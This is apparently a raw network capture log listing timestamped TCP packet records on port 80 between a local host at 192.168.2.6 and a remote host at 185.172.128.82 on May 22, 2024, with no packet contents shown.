May 22, 2024 20:06:30.971256971 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.971291065 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.971317053 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.971369982 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.971383095 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.971426010 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.971445084 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.971492052 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.971508980 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.971565008 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.972006083 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.972054958 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.972075939 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.972121954 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.972177982 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.972223997 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.972245932 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.972278118 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.972306013 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.972351074 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.972372055 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.972407103 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.972433090 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.972486973 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.972918034 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.972964048 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.972987890 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.973011971 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.973040104 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.973087072 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.973109007 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.973145962 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.973170042 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.973227024 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.973269939 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.973315001 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.973335981 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.973377943 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.973397970 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.973452091 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.973858118 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.973903894 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.973928928 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.973948002 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.973983049 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.974035978 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.974050045 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.974081993 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.974108934 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.974153996 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.974176884 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.974210024 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.974236012 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.974287987 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.974323034 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.974344969 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.974817991 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.974865913 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.974889040 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.974915981 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.974945068 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.974997997 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.975013018 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.975054026 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.975099087 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.975142956 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.975188971 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.975245953 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.975272894 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.975788116 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.975843906 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.975858927 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.975893021 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.975919962 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.975967884 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.975984097 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.976032019 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.976047993 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.976094007 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.976111889 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.976155996 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.976176977 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.976224899 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.976553917 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.976622105 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.976635933 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.976674080 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.976697922 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.976744890 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.976762056 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.976805925 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.976829052 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.976876974 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.976892948 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.976938963 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.976958036 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.977004051 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.977049112 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.977073908 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.977102041 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.977128983 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.977166891 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.977504969 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.977550983 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.977576017 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.977602005 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.977629900 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.977683067 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.977695942 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.977740049 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.977767944 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.977797031 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.977823019 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.977837086 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.977865934 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.977914095 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.977930069 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.977982998 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.977997065 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.978030920 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.978058100 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.978106976 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.978507996 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.978523016 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.978545904 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.978562117 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.978573084 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.978590965 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.978614092 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.978621960 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.978636980 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.978647947 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.978665113 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.978673935 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.978693962 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.978702068 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.978719950 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.978729010 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.978744984 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.978768110 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.979419947 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.979434013 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.979475975 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.979496956 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.979506969 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.979517937 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.979533911 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.979553938 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.979562044 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.979582071 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.979589939 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.979605913 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.979615927 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.979631901 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.979640961 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.979660034 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.979667902 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.979681969 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.979705095 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.980235100 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.980252981 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.980288982 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.980309963 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.057574034 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.057648897 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.057699919 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.057748079 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.057779074 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.057821035 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.058068037 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.058118105 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.058195114 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.058248997 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.058263063 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.058309078 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.058357000 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.058410883 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.058424950 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.058460951 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.058497906 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.058554888 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.058568954 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.058619022 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.058645964 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.058691025 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.058710098 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.058739901 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.058770895 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.058815956 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.058839083 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.058872938 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.058897018 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.058990955 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.059012890 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.059046984 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.059201002 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.059258938 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.059302092 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.059354067 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.059367895 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.059406042 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.059429884 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.059473991 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.059494972 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.059529066 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.059700012 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.059755087 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.059768915 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.059808016 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.059830904 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.059875965 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.059900045 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.059922934 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.059951067 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.060003996 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.060018063 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.060051918 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.060077906 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.060127020 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.060419083 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.060465097 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.060487986 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.060523033 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.060548067 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.060601950 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.060615063 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.060656071 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.060676098 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.060729027 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.060743093 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.060784101 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.060803890 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.060847998 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.060868979 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.060902119 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.060930014 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.060981989 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.060997963 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.061049938 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.061270952 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.061316967 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.061340094 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.061366081 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.061395884 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.061451912 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.061697006 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.061752081 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.061768055 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.061806917 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.061830044 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.061877966 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.061893940 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.061942101 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.061958075 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.062011003 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.062025070 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.062057972 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.062083960 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.062129974 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.062153101 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.062179089 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.062206984 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.062258959 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.062521935 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.062580109 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.062650919 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.062705040 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.062719107 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.062760115 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.062778950 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.062840939 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.062860966 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.062891006 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.062918901 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.062972069 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.062988043 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.063029051 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.063049078 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.063103914 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.063117981 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.063152075 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.063612938 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.063683033 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.063697100 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.063730955 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.063756943 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.063812017 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.063824892 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.063865900 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.063885927 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.063939095 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.063952923 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.063987017 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.064012051 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.064057112 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.064078093 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.064110994 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.064138889 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.064193010 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.064778090 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.064824104 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.064842939 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.064872980 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.064902067 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.064946890 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.064968109 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.065001965 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.065028906 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.065073967 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.065093994 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.065131903 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.065154076 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.065201998 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.065217972 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.065273046 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.065289021 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.065340042 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.065366030 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.065412045 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.065433025 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.065466881 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.065494061 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.065547943 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.065561056 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.065601110 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.065623045 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.065675020 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.065687895 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.065728903 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.065749884 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.065803051 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.065818071 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.065860033 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.065879107 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.065932035 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.065946102 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.065979004 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.066006899 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.066061020 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.066237926 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.066284895 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.066306114 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.066339970 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.066365957 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.066421032 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.066435099 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.066472054 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.066513062 CEST	80	49708	185.172.128.82	192.168.2.6
